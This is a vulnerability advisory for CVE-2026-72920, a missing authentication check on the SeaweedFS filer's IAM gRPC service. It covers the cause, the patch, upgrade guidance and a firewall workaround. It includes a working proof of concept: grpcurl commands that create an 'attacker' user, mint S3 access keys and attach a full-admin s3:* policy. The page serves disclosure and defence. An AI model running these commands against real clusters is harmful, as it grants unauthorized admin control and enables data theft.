CVE-2026-72920: SeaweedFS Unauthenticated IAM gRPC Service
A missing authentication check on SeaweedFS's filer IAM gRPC service lets any network-reachable client create users, mint access keys, and assign admin S3 policies without credentials.

The problem
The filer registered the SeaweedIdentityAccessManagement gRPC service with no authentication guard. Any client that could reach the filer gRPC port (default 18888) could call CreateUser, CreateAccessKey, PutUserPolicy, and related RPCs freely.
Configuring JWT signing keys for HTTP operations did not help. The IAM gRPC service was not gated by those keys, and even mTLS only controlled port-level access, not individual RPC authorization. A valid cluster mesh certificate was enough to reach the administrative calls.
Proof of concept
A working proof-of-concept for CVE-2026-72920 in github.com/seaweedfs/seaweedfs, with the exact payload below.
# Derived from the patch diff (PR #9442):
# Before the fix, every IAM RPC accepted calls with no authorization metadata.
# Send CreateAccessKey with no Bearer token to mint S3 credentials.
# Step 1: create a user
grpcurl -plaintext \
-d '{"user_name": "attacker"}' \
filer.internal:18888 \
seaweedfs.iam.SeaweedIdentityAccessManagement/CreateUser
# Step 2: create an access key for that user
grpcurl -plaintext \
-d '{"user_name": "attacker"}' \
filer.internal:18888 \
seaweedfs.iam.SeaweedIdentityAccessManagement/CreateAccessKey
# Step 3: attach an Admin policy
grpcurl -plaintext \
-d '{"user_name": "attacker", "policy_name": "admin", "policy_document": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"*\"]}]}"}' \
filer.internal:18888 \
seaweedfs.iam.SeaweedIdentityAccessManagement/PutUserPolicy
# Result: caller receives a valid (access_key_id, secret_access_key) pair
# with full S3 Admin privileges over the cluster.The root cause (CWE-306, Missing Authentication for Critical Function) is that filer_server_handlers_iam_grpc.go registered SeaweedIdentityAccessManagement without checking the incoming gRPC metadata for an admin-signed Bearer token. The patch (PR #9442) introduced SeaweedFilerAdminClaims JWT validation at the top of every IAM RPC handler, and the service now refuses to register at all when jwt.filer_signing.key is absent, eliminating the unauthenticated default entirely.
The JWT signing keys that protect filer HTTP writes (jwt.filer_signing.key) were never wired into the gRPC IAM path before this fix, so enabling them gave operators a false sense of security.
The fix
Upgrade to SeaweedFS 4.24 (commit 5e8f99f40a8a). Set jwt.filer_signing.key in security.toml; without it the IAM gRPC service now refuses to start. Callers of IAM RPCs must attach an admin-signed Bearer token on every call. As an interim workaround, firewall the filer gRPC port (default 18888) to trusted hosts only.
Reported by Kadir Arslan.
Related research
- high · 7.7CVE-2026-55874CVE-2026-55874: SeaweedFS S3 Gateway Cross-Bucket Path Traversal via X-Amz-Copy-Source
- highCVE-2026-54917CVE-2026-54917: SeaweedFS Path Traversal in S3 and Iceberg REST Gateways
- critical · 9.3CVE-2026-73080CVE-2026-73080: SeaweedFS Unauthenticated SSRF via VolumeServer.FetchAndWriteNeedle
- critical · 9.1CVE-2026-54061CVE-2026-54061: Dgraph Alpha Unauthenticated Remote Group Store Wipe via StreamExtSnapshot